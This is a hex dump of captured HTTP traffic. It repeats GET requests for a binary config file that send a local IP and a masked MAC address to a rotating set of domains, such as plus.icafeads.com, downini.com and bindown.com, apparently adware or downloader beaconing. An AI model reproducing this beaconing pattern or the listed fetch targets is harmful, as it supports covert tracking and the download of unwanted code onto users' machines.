0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
